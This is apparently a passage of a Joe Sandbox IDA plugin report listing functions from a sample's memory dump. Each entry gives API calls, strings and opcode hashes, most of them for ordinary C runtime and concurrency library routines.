Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction ID: b5270946d013f8015c114e6c1043ef9967e2b14d61a55fb447007b6f540a5ab8
Opcode Fuzzy Hash: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction Fuzzy Hash: F8F15D71E012699BDF14CFA9C8946EDB7B6FF48314F25826DD819AB344D730AE01CB90

Function 006E7049 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,006E7044,?,?,00000008,?,?,006E5ECA,00000000), ref: 006E7276

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 44e95ee6b6df9025fb2704a93eb1e9f87c726a549c724b8914635398bf4a1dce
Instruction ID: 23a148eb7bd9ff030530076797d77ecf96ccd575b3bcaf9a28a7a9bbf4dbe726
Opcode Fuzzy Hash: 44e95ee6b6df9025fb2704a93eb1e9f87c726a549c724b8914635398bf4a1dce
Instruction Fuzzy Hash: 30B15D31615748DFD718CF29C486BA47BA2FF45364F298658E999CF3A1C335EA82CB40

Function 006BDD91 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 006BDDA7

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 25bba1b0ef0a0071a6529e05f34362a4f512025c3c8c51880321b583a63d7c72
Instruction ID: 5ad46fd92ad470567b8a56a818d96a37e339d32def24f38b1cb3ebf2bac1aa35
Opcode Fuzzy Hash: 25bba1b0ef0a0071a6529e05f34362a4f512025c3c8c51880321b583a63d7c72
Instruction Fuzzy Hash: 6F519DB2A05606CBEB15CF58D8847EABBF6FB48314F14C66AC409EB351E7389981CF54

Function 006DDC0D Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c91d1cad0542809ddcea91ff5e63031d6bda4f7f95cd7cd38472fd8402a6e38a
Instruction ID: ae6c03b3ee0d652951abe57085c550195c1b15c3dc8f905d79b3b870bb2bc1ee
Opcode Fuzzy Hash: c91d1cad0542809ddcea91ff5e63031d6bda4f7f95cd7cd38472fd8402a6e38a
Instruction Fuzzy Hash: CC4184B5C04219AEDF20EF69CC89AEAB7BAEF45300F1442DEE41993311DA359E84DF54

Function 006BCB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 006BCBAA

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 59749b308213a0c700cfc89e71d7044e0f58b0548d02f081485451027b309dc2
Instruction ID: 7fa8db021f5587d190ace5be4f769118c0153c7069e30000f76b22460c7460d5
Opcode Fuzzy Hash: 59749b308213a0c700cfc89e71d7044e0f58b0548d02f081485451027b309dc2
Instruction Fuzzy Hash: 4CB09232A1383087CA512B14BC085EE77169A80E2130A9256E841A7234CE165E828FE8

Function 006BDD0A Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001DD16,006BD755), ref: 006BDD0F

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: fe35957e50c9dac8d4f84fc269ae21d5ca17e7f02b334f6b95f6e6c2ef0101bb
Instruction ID: 9e5b64f1fa728f38d7f2ab95bf98d531f229d2f772e0da6fcc627b3473512780
Opcode Fuzzy Hash: fe35957e50c9dac8d4f84fc269ae21d5ca17e7f02b334f6b95f6e6c2ef0101bb
Instruction Fuzzy Hash:

Function 006D7F36 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 006D80B2

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: df03f3483b921dea23f0c6719c84780891f79468b60fa0cceb811cccccc1c404
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 3C517970E086495EDB389B29889EBFE679B9F11300F14051FE482D7382EE529D4E8397

Function 006C3DF1 Relevance: 1.4, Strings: 1, Instructions: 173COMMONLIBRARYCODE

Download Yara Rule

Strings

4, xrefs: 006C3F8B

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 5578bbf268cf1d7a6cc11f772dbe90f91f38951ddd0f84b7ddcb6c1c960a0822
Instruction ID: d0c90125f942c83fddb14b71f2af33a8015c6f064c1474dc664e8afa88c1ef27
Opcode Fuzzy Hash: 5578bbf268cf1d7a6cc11f772dbe90f91f38951ddd0f84b7ddcb6c1c960a0822
Instruction Fuzzy Hash: AD61EA71E00625DFCB18CF59C580AAEB7B2FB58314F25C5AED815A7705C734EA42CB94

Function 006A4DE0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2128993fcd727e9f050436eb9d56c59bf1850b5c03d4dafc98102602320d2a6
Instruction ID: a4cc1be16697a2417adcecf44d517e26d9ec6958cdc42a6ac25127f0720c372b
Opcode Fuzzy Hash: c2128993fcd727e9f050436eb9d56c59bf1850b5c03d4dafc98102602320d2a6
Instruction Fuzzy Hash: D62271B3F515144BDB4CCB5DDCA27ECB2E3AFD8218B0E813DA40AE3345EA79D9158648

Function 006A4B30 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 242578a6f02e59f5e645e99de7497d2e6add51b9c24ca9e7c063ef35a35f6ba0
Instruction ID: 0cf62c453150176814e7790a4f01793c65ca937ada4e6b6861f032001ab6c0bf
Opcode Fuzzy Hash: 242578a6f02e59f5e645e99de7497d2e6add51b9c24ca9e7c063ef35a35f6ba0
Instruction Fuzzy Hash: C5811171A002458FDB15EF68D8947EEBBF2BF9A300F1442A9C815A7353CB759D46CBA0

Function 006E78BB Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 472d89f0a65d2100d1a4255a94e7e2ae737dbc733cc1aae675bc2bbeb03c7d47
Instruction ID: 75bb0cb48ca03c041f1c43bd8e447412fe3bdac0e8f37a634c0a606c0ca47c02
Opcode Fuzzy Hash: 472d89f0a65d2100d1a4255a94e7e2ae737dbc733cc1aae675bc2bbeb03c7d47
Instruction Fuzzy Hash: 3021B673F2053947770CC47E8C5227DB6E1C78C541745823AE8A6EA2C1D96CD917E2E4

Function 006E779B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8e51aeda93cc77debf8589ee018d63be260188df9589cf49ea3e8de3fffb4fa
Instruction ID: 59d7d55ad914b3ed5f0b891e5df2a0426b3a7b4e26029a0aad3702a716616248
Opcode Fuzzy Hash: e8e51aeda93cc77debf8589ee018d63be260188df9589cf49ea3e8de3fffb4fa
Instruction Fuzzy Hash: 5511C623F30C255B775C816D8C172BAA5D3EBD824031F833AD826E7284E8A4DE23D290

Function 006E8860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 0b1a786e3bb95570b444f1eb1cf61beac1e5e250eb07ff2a4dd00bf22aae5459
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: EE115E7B6033C14FE604862FC8B45F7A397EBD53217BC4376C8494B788DA22D4419500

Function 006DA302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 3206bcea5acb76d1eb7c9e319ab9ad787c868eb9ad5ef7c2dad2afe2e4eec0a5
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: A5E04632925228EBCB24DFD8890499AB2AEEB49B00B66009AB501D3250C270DE00C7D4

Function 006BF028 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006BF2BB

Strings

pEvents, xrefs: 006BF2B3

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: 19de5a7364495133c49ff928d864ca7d7224b680b01dd192203bb104a5a55a7c
Instruction ID: 9604ed0a368675542c6cf64256e59ba11df26ffe441eeab039d60be920055375
Opcode Fuzzy Hash: 19de5a7364495133c49ff928d864ca7d7224b680b01dd192203bb104a5a55a7c
Instruction Fuzzy Hash: 93817AB1D00219DBCF24DFE8CD81BEEB7B6AF15310F144429E401A73A2DB75AA85CB91

Function 006DF35F Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 006DF3A3

Part of subcall function 006DEF3C: _free.LIBCMT ref: 006DEF59
Part of subcall function 006DEF3C: _free.LIBCMT ref: 006DEF6B
Part of subcall function 006DEF3C: _free.LIBCMT ref: 006DEF7D
Part of subcall function 006DEF3C: _free.LIBCMT ref: 006DEF8F
Part of subcall function 006DEF3C: _free.LIBCMT ref: 006DEFA1
Part of subcall function 006DEF3C: _free.LIBCMT ref: 006DEFB3
Part of subcall function 006DEF3C: _free.LIBCMT ref: 006DEFC5
Part of subcall function 006DEF3C: _free.LIBCMT ref: 006DEFD7
Part of subcall function 006DEF3C: _free.LIBCMT ref: 006DEFE9
Part of subcall function 006DEF3C: _free.LIBCMT ref: 006DEFFB
Part of subcall function 006DEF3C: _free.LIBCMT ref: 006DF00D
Part of subcall function 006DEF3C: _free.LIBCMT ref: 006DF01F
Part of subcall function 006DEF3C: _free.LIBCMT ref: 006DF031

_free.LIBCMT ref: 006DF398

Part of subcall function 006DADF5: HeapFree.KERNEL32(00000000,00000000,?,006DF0CD,?,00000000,?,?,?,006DF0F4,?,00000007,?,?,006DF4F6,?), ref: 006DAE0B
Part of subcall function 006DADF5: GetLastError.KERNEL32(?,?,006DF0CD,?,00000000,?,?,?,006DF0F4,?,00000007,?,?,006DF4F6,?,?), ref: 006DAE1D

_free.LIBCMT ref: 006DF3BA
_free.LIBCMT ref: 006DF3CF
_free.LIBCMT ref: 006DF3DA
_free.LIBCMT ref: 006DF3FC
_free.LIBCMT ref: 006DF40F
_free.LIBCMT ref: 006DF41D
_free.LIBCMT ref: 006DF428
_free.LIBCMT ref: 006DF460
_free.LIBCMT ref: 006DF467
_free.LIBCMT ref: 006DF484
_free.LIBCMT ref: 006DF49C

Strings

`'p, xrefs: 006DF375
8"p, xrefs: 006DF44B

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID: 8"p$`'p
API String ID: 161543041-1477525673
Opcode ID: a209a6c8c5059295ac798cc308099c72b6eb6f6fe3a00b3f0462b26278bf9b73
Instruction ID: d46d54855050dbc54059e826925f456b39b80eb9cc6122e61fcd6c5504ac4ce5
Opcode Fuzzy Hash: a209a6c8c5059295ac798cc308099c72b6eb6f6fe3a00b3f0462b26278bf9b73
Instruction Fuzzy Hash: D6316B31A08241EFEB20AB79D845B9B73EBEF00311F15442FE046D7792DE70AC808B65

Function 006BD029 Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00705750,00000FA0,?,?,006BD007), ref: 006BD035
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,006BD007), ref: 006BD040
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,006BD007), ref: 006BD051
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 006BD063
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 006BD071
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,006BD007), ref: 006BD094
___scrt_fastfail.LIBCMT ref: 006BD0A5
RtlDeleteCriticalSection.NTDLL(00705750), ref: 006BD0B0
CloseHandle.KERNEL32(00000000,?,?,006BD007), ref: 006BD0C0

Strings

WakeAllConditionVariable, xrefs: 006BD069
SleepConditionVariableCS, xrefs: 006BD05D
api-ms-win-core-synch-l1-2-0.dll, xrefs: 006BD03B
kernel32.dll, xrefs: 006BD04C

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 3578986977-3242537097
Opcode ID: 29b0bf00c6c273056f778bbdf3eda3d0d5c143377e31cf0183ea9c35a2489a08
Instruction ID: 56364ef8593d03b367499a52c9b1c9914438c2857b6fc58d769310e13bc49a34
Opcode Fuzzy Hash: 29b0bf00c6c273056f778bbdf3eda3d0d5c143377e31cf0183ea9c35a2489a08
Instruction Fuzzy Hash: EC01B5B1640711EBEB216FB1AC0DEB73A9BDB45781B055210F905DA290EE75C840DF70

Function 006D26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 006D26E3

Part of subcall function 006D24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 006D2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 006D2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 006D2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 006D275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 006D27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 006D27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 006D2846

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 6e04c09eee0dd3c26a973acc81b3844bd1f5e5c2ed9972e57c85319a5b18f337
